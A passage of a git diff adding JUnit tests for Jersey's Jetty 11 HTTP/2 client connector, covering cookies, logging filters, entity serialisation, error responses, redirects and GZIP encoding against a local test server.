--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+    @Path("/")
+    public static class CookieResource {
+        @GET
+        public Response get(@Context HttpHeaders h) {
+            Cookie c = h.getCookies().get("name");
+            String e = (c == null) ? "NO-COOKIE" : c.getValue();
+            return Response.ok(e)
+                    .cookie(new NewCookie("name", "value")).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(CookieResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testCookieResource() {
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testDisabledCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        if (connector.getCookieStore() != null) {
+            assertTrue(connector.getCookieStore().getCookies().isEmpty());
+        } else {
+            assertNull(connector.getCookieStore());
+        }
+        client.close();
+    }
+
+    @Test
+    public void testCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        assertNotNull(connector.getCookieStore().getCookies());
+        assertEquals(1, connector.getCookieStore().getCookies().size());
+        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..369169a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+        ClientRequestFilter, ClientResponseFilter {
+
+    static int preFilterCalled = 0;
+    static int postFilterCalled = 0;
+
+    @Override
+    public void filter(ClientRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        postFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        postFilterCalled++;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
new file mode 100644
index 0000000..0f508ca
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class EntityResource {
+
+        @GET
+        public Person get() {
+            return new Person("John", "Doe");
+        }
+
+        @POST
+        public Person post(Person entity) {
+            return entity;
+        }
+
+    }
+
+    @XmlRootElement
+    public static class Person {
+
+        private String firstName;
+        private String lastName;
+
+        public Person() {
+        }
+
+        public Person(String firstName, String lastName) {
+            this.firstName = firstName;
+            this.lastName = lastName;
+        }
+
+        public String getFirstName() {
+            return firstName;
+        }
+
+        public void setFirstName(String firstName) {
+            this.firstName = firstName;
+        }
+
+        public String getLastName() {
+            return lastName;
+        }
+
+        public void setLastName(String lastName) {
+            this.lastName = lastName;
+        }
+
+        @Override
+        public String toString() {
+            return firstName + " " + lastName;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider())
+                .register(JacksonFeature.class);
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+                .post(Entity.xml(new Person("John", "Doe"))).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+                .get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
new file mode 100644
index 0000000..64d8198
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(ErrorResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+
+    @Path("/test")
+    public static class ErrorResource {
+        @POST
+        public Response post(String entity) {
+            return Response.serverError().build();
+        }
+
+        @Path("entity")
+        @POST
+        public Response postWithEntity(String entity) {
+            return Response.serverError().entity("error").build();
+        }
+    }
+
+    @Test
+    public void testPostError() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntity() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntityAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..2604f9b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class FollowRedirectsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirect() {
+            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    private static class RedirectTestFilter implements ClientResponseFilter {
+        public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+        @Override
+        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+            if (responseContext instanceof ClientResponse) {
+                ClientResponse clientResponse = (ClientResponse) responseContext;
+                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+            }
+        }
+    }
+
+    @Test
+    public void testDoFollow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        Response r = t.path("test/redirect")
+                .register(RedirectTestFilter.class)
+                .request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+        c.close();
+    }
+
+    @Test
+    public void testDoFollowPerRequestOverride() {
+        WebTarget t = target("test/redirect");
+        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        Response r = t.request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDontFollow() {
+        WebTarget t = target("test/redirect");
+        assertEquals(303, t.request().get().getStatus());
+    }
+
+    @Test
+    public void testDontFollowPerRequestOverride() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget t = client.target(u);
+        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        Response r = t.path("test/redirect").request().get();
+        assertEquals(303, r.getStatus());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..29bb444
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    @Path("/")
+    public static class Resource {
+
+        @POST
+        public byte[] post(byte[] content) {
+            return content;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(GZipEncoder.class);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target();
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertTrue(cr.hasEntity());
+        cr.close();
+    }
+
+    @Test
+    public void testPostChunked() {
+        ClientConfig config = new ClientConfig();
+        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.text("POST"));
+        assertTrue(cr.hasEntity());
+        cr.close();
+
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
new file mode 100644
index 0000000..ac6870a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+    private static final String ROOT_PATH = "helloworld";
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testConnection() {
+        Response response = target().path(ROOT_PATH).request("text/plain").get();
+        assertEquals(200, response.getStatus());
+    }
+
+    @Test
+    public void testClientStringResponse() {
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+    }
+
+    @Test
+    public void testAsyncClientRequests() throws InterruptedException {
+        final int REQUESTS = 20;
+        final CountDownLatch latch = new CountDownLatch(REQUESTS);
+        final long tic = System.currentTimeMillis();
+        for (int i = 0; i < REQUESTS; i++) {
+            final int id = i;
+            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+                @Override
+                public void completed(Response response) {
+                    try {
+                        final String result = response.readEntity(String.class);
+                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+                    } finally {
+                        latch.countDown();
+                    }
+                }
+
+                @Override
+                public void failed(Throwable error) {
+                    error.printStackTrace();
+                    latch.countDown();
+                }
+            });
+        }
+        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+        final long toc = System.currentTimeMillis();
+        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+    }
+
+    @Test
+    public void testHead() {
+        Response response = target().path(ROOT_PATH).request().head();
+        assertEquals(200, response.getStatus());
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals("foo/bar", response.getMediaType().toString());
+        assertEquals(0, response.getLength());
+    }
+
+    @Test
+    public void testTextPlainOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+        final String responseBody = response.readEntity(String.class);
+        _checkAllowContent(responseBody);
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+    @Test
+    public void testMissingResourceNotFound() {
+        Response response;
+
+        response = target().path(ROOT_PATH + "arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+
+        response = target().path(ROOT_PATH).path("arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientClass() {
+        Client client = client();
+        client.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientInstance() {
+        Client client = client();
+        client.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterTargetClass() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
